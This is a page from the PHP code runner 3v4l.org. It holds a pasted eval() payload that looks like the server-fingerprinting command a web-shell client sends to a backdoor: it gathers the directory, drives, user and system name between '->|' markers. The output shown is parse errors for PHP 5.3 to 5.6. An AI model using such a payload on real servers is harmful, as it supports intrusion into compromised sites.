3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php eval('@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('."'posix_getegid'".'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();');
Output for 5.4.0 - 5.6.15
Parse error: syntax error, unexpected '';$usr=($u)?$u['' (T_CONSTANT_ENCAPSED_STRING) in /in/VVkkK on line 2
Process exited with code 255.
Output for 5.3.0 - 5.3.29
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /in/VVkkK on line 2
Process exited with code 255.